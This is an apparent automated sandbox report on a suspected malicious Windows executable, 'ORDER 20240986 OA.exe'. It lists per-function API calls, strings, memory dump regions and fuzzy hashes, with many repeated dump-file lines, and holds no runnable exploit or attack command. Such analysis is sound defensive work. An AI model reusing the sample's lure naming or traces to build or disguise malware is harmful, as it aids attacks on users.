Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Logoi
API String ID: 542301482-3393217848
Opcode ID: 6726bf14e95c28a8eef9ad412ca65ffc9ea6cc976661a48ac6a4b746f0d58001
Instruction ID: 8dfa29a236a07f1275cc6a79af1154fb3a8ffb17113c9066b1df84c51f017d98
Opcode Fuzzy Hash: 6726bf14e95c28a8eef9ad412ca65ffc9ea6cc976661a48ac6a4b746f0d58001
Instruction Fuzzy Hash: 4F413A71A00208AFCF04DFE4C988A9D7BB5FF48314B24457AF915EB2E1DBB99981CB54

Function 00402868 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402877

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 512375b0d91e1f35eaafe1d2d9ea6627de5ab3dbf7b488781e982afef0b9970b
Instruction ID: f65ff15fdb1f10fb5373ba158cef8787300933468326e23b7288bb8c2237705b
Opcode Fuzzy Hash: 512375b0d91e1f35eaafe1d2d9ea6627de5ab3dbf7b488781e982afef0b9970b
Instruction Fuzzy Hash: 87F0E271A10000ABCB00EFA0D9099ADB378EF04314F20417BF401F21D0DBB85D409B2A

Function 004043CD Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,?), ref: 0040446B
GetDlgItem.USER32(?,000003E8), ref: 0040447F
SendMessageW.USER32(00000000,0000045B,?,00000000), ref: 0040449C
GetSysColor.USER32(?), ref: 004044AD
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004044BB
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004044C9
lstrlenW.KERNEL32(?), ref: 004044CE
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004044DB
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004044F0
GetDlgItem.USER32(?,0000040A), ref: 00404549
SendMessageW.USER32(00000000), ref: 00404550
GetDlgItem.USER32(?,000003E8), ref: 0040457B
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004045BE
LoadCursorW.USER32(00000000,00007F02), ref: 004045CC
SetCursor.USER32(00000000), ref: 004045CF
LoadCursorW.USER32(00000000,00007F00), ref: 004045E8
SetCursor.USER32(00000000), ref: 004045EB
SendMessageW.USER32(00000111,?,00000000), ref: 0040461A
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040462C

Strings

N, xrefs: 00404569
Call, xrefs: 004045AA
DC@, xrefs: 004045D7

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Call$DC@$N
API String ID: 3103080414-3199507676
Opcode ID: 2da216cdb10da56fdc38759a2ba284d26a9c8f7b49192765219d3b76b1da507d
Instruction ID: 7c305bb631aa8564409a9791ba7e53f932479190766108f73685c8e55a50eb1d
Opcode Fuzzy Hash: 2da216cdb10da56fdc38759a2ba284d26a9c8f7b49192765219d3b76b1da507d
Instruction Fuzzy Hash: 3B61A0B1900209BFDF10AF60DD45AAA7B69FB85344F00843AF701B61E0D77DA951CF98

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,?), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,007A7A20,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 218f2c87b148b58c94c6785b51cf5afc075c1faf60bc5df3e6f759b2377d660f
Instruction ID: 0958fbfe94b1809001ec2c76305b3cf500f7264b01c73c256976ee1787a3906e
Opcode Fuzzy Hash: 218f2c87b148b58c94c6785b51cf5afc075c1faf60bc5df3e6f759b2377d660f
Instruction Fuzzy Hash: B1418C71800209AFCF058F95DE459AF7BB9FF45310F00842AF591AA1A0CB38D954DFA4

Function 00405EE3 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,?,?,00000000,?,?,0040607E,?,?), ref: 00405F1E
GetShortPathNameW.KERNEL32(?,007A55C0,00000400), ref: 00405F27

Part of subcall function 00405CF2: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D02
Part of subcall function 00405CF2: lstrlenA.KERNEL32(00000000,?,00000000,00405FD7,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D34

GetShortPathNameW.KERNEL32(?,007A5DC0,00000400), ref: 00405F44
wsprintfA.USER32 ref: 00405F62
GetFileSize.KERNEL32(00000000,00000000,007A5DC0,C0000000,00000004,007A5DC0,?,?,?,?,?), ref: 00405F9D
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405FAC
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FE4
SetFilePointer.KERNEL32(0040A560,00000000,00000000,00000000,00000000,007A51C0,00000000,-0000000A,0040A560,00000000,[Rename],00000000,00000000,00000000), ref: 0040603A
GlobalFree.KERNEL32(00000000), ref: 0040604B
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00406052

Part of subcall function 00405D8D: GetFileAttributesW.KERNELBASE(?,00402F1D,C:\Users\user\Desktop\ORDER 20240986 OA.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405D91
Part of subcall function 00405D8D: CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405DB3

Strings

%ls=%ls, xrefs: 00405F58
[Rename], xrefs: 00405FCC, 00405FDE

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 210d5d9a443b3001b4c7cda13cc78adcf358d44dd1d7e4f25ad0eda9c69d4b7c
Instruction ID: 42876e8bd8e74e9ce15c52ab3024c97c29192655820983ae090f8c600f4dcad6
Opcode Fuzzy Hash: 210d5d9a443b3001b4c7cda13cc78adcf358d44dd1d7e4f25ad0eda9c69d4b7c
Instruction Fuzzy Hash: 25312530240B156BD220BB218D48F6B3A9DEF86744F15003AFA42F62D1EA7DD8148ABD

Function 0040652B Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ORDER 20240986 OA.exe",00403347,C:\Users\user\AppData\Local\Temp\,74DF3420,004035B6,?,00000006,00000008,0000000A), ref: 0040658E
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 0040659D
CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ORDER 20240986 OA.exe",00403347,C:\Users\user\AppData\Local\Temp\,74DF3420,004035B6,?,00000006,00000008,0000000A), ref: 004065A2
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ORDER 20240986 OA.exe",00403347,C:\Users\user\AppData\Local\Temp\,74DF3420,004035B6,?,00000006,00000008,0000000A), ref: 004065B5

Strings

"C:\Users\user\Desktop\ORDER 20240986 OA.exe", xrefs: 0040652B
C:\Users\user\AppData\Local\Temp\, xrefs: 0040652C, 00406531
*?|<>/":, xrefs: 0040657D

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\ORDER 20240986 OA.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-2421632516
Opcode ID: f2dbc7d310367101a7bf5127f564121aa95c210a65fb008c6410ea5a4ac792ac
Instruction ID: 354a4add7e9ac5ce680480da4fd3ed99b8030fd96c8c1ffbe99f836226306b46
Opcode Fuzzy Hash: f2dbc7d310367101a7bf5127f564121aa95c210a65fb008c6410ea5a4ac792ac
Instruction Fuzzy Hash: 4511B655800612A5DF303B14AD44A7772F8EF547A0F56443FE985733C4E77C5C9286AD

Function 00404275 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00404292
GetSysColor.USER32(00000000), ref: 004042D0
SetTextColor.GDI32(?,00000000), ref: 004042DC
SetBkMode.GDI32(?,?), ref: 004042E8
GetSysColor.USER32(?), ref: 004042FB
SetBkColor.GDI32(?,?), ref: 0040430B
DeleteObject.GDI32(?), ref: 00404325
CreateBrushIndirect.GDI32(?), ref: 0040432F

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 595a5ac3551c8926a474018cd00e052a0643935c19338169816fcf7950983a94
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: BD2135716007049FCB219F68DD48B5BBBF8AF81715B048A3EED96A26E0D734E944CB54

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,?), ref: 004026F1
SetFilePointer.KERNEL32(?,?,?,?,?,00000008,?,?,?,?), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,?,?,?,?,00000008,?,?,?,?), ref: 0040272A

Part of subcall function 00405E6E: SetFilePointer.KERNEL32(?,00000000,00000000,?,?,00000000,?,?,0040262F,00000000,00000000,?,00000000,00000011), ref: 00405E84

SetFilePointer.KERNEL32(?,?,?,?,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: d48387ae3e024a72c6243637e6df33ec40d1b18911dabf8db30d8cce87806c70
Instruction ID: 60624729709df044e3b9a276a2138f1bd207bb457e97f94edfd4483e5cf9eee0
Opcode Fuzzy Hash: d48387ae3e024a72c6243637e6df33ec40d1b18911dabf8db30d8cce87806c70
Instruction Fuzzy Hash: 61510974D10219AEDF219F95DA88AAEB779FF04304F50443BE901F72D0DBB89982CB58

Function 6FBB2398 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 6FBB24DA

Part of subcall function 6FBB122C: lstrcpynW.KERNEL32(00000000,?,6FBB12DF,00000019,6FBB11BE,-000000A0), ref: 6FBB123C

GlobalAlloc.KERNEL32(00000040), ref: 6FBB2460
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 6FBB247B

Strings

@Hmu, xrefs: 6FBB2494

Memory Dump Source

Source File: 00000000.00000002.2336495745.000000006FBB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FBB0000, based on PE: true

Associated: 00000000.00000002.2336461963.000000006FBB0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2336529386.000000006FBB3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2336658892.000000006FBB5000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fbb0000_ORDER 20240986 OA.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID: @Hmu
API String ID: 4216380887-887474944
Opcode ID: 372af87ff041e158adb792247b14b9f165e184524a646859db8024a04704df29
Instruction ID: 175b9a2b1445cf1b112cabdf2e419c497157feb9bd8e0f56aa31e3a3b0f98d83
Opcode Fuzzy Hash: 372af87ff041e158adb792247b14b9f165e184524a646859db8024a04704df29
Instruction Fuzzy Hash: 8541AEB0008785EFD7159F25E844ABA77B8FB45324B004A5EE646C7980EF30A996CB61

Function 004052FF Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(007A0F00,00000000,007924D8,74DF23A0,?,?,?,?,?,?,?,?,?,00403257,00000000,?), ref: 00405337
lstrlenW.KERNEL32(00403257,007A0F00,00000000,007924D8,74DF23A0,?,?,?,?,?,?,?,?,?,00403257,00000000), ref: 00405347
lstrcatW.KERNEL32(007A0F00,00403257,00403257,007A0F00,00000000,007924D8,74DF23A0), ref: 0040535A
SetWindowTextW.USER32(007A0F00,007A0F00), ref: 0040536C
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405392
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004053AC
SendMessageW.USER32(?,00001013,?,00000000), ref: 004053BA

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: d3653f13458b7317840ca79dc32cb7632281d068d931c5ba13ed513af890554b
Instruction ID: 8b92f55a8d4b67b8ae829402156b3fb25f72412c241cd3f1eea2d9b1658803e5
Opcode Fuzzy Hash: d3653f13458b7317840ca79dc32cb7632281d068d931c5ba13ed513af890554b
Instruction Fuzzy Hash: 66216071900618BACB11AFA5DD859CFBF78EF85350F10846AF904B62A0C7B94A50CF98

Function 00404BC9 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404BE4
GetMessagePos.USER32 ref: 00404BEC
ScreenToClient.USER32(?,?), ref: 00404C06
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404C18
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404C3E

Strings

f, xrefs: 00404C1A

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
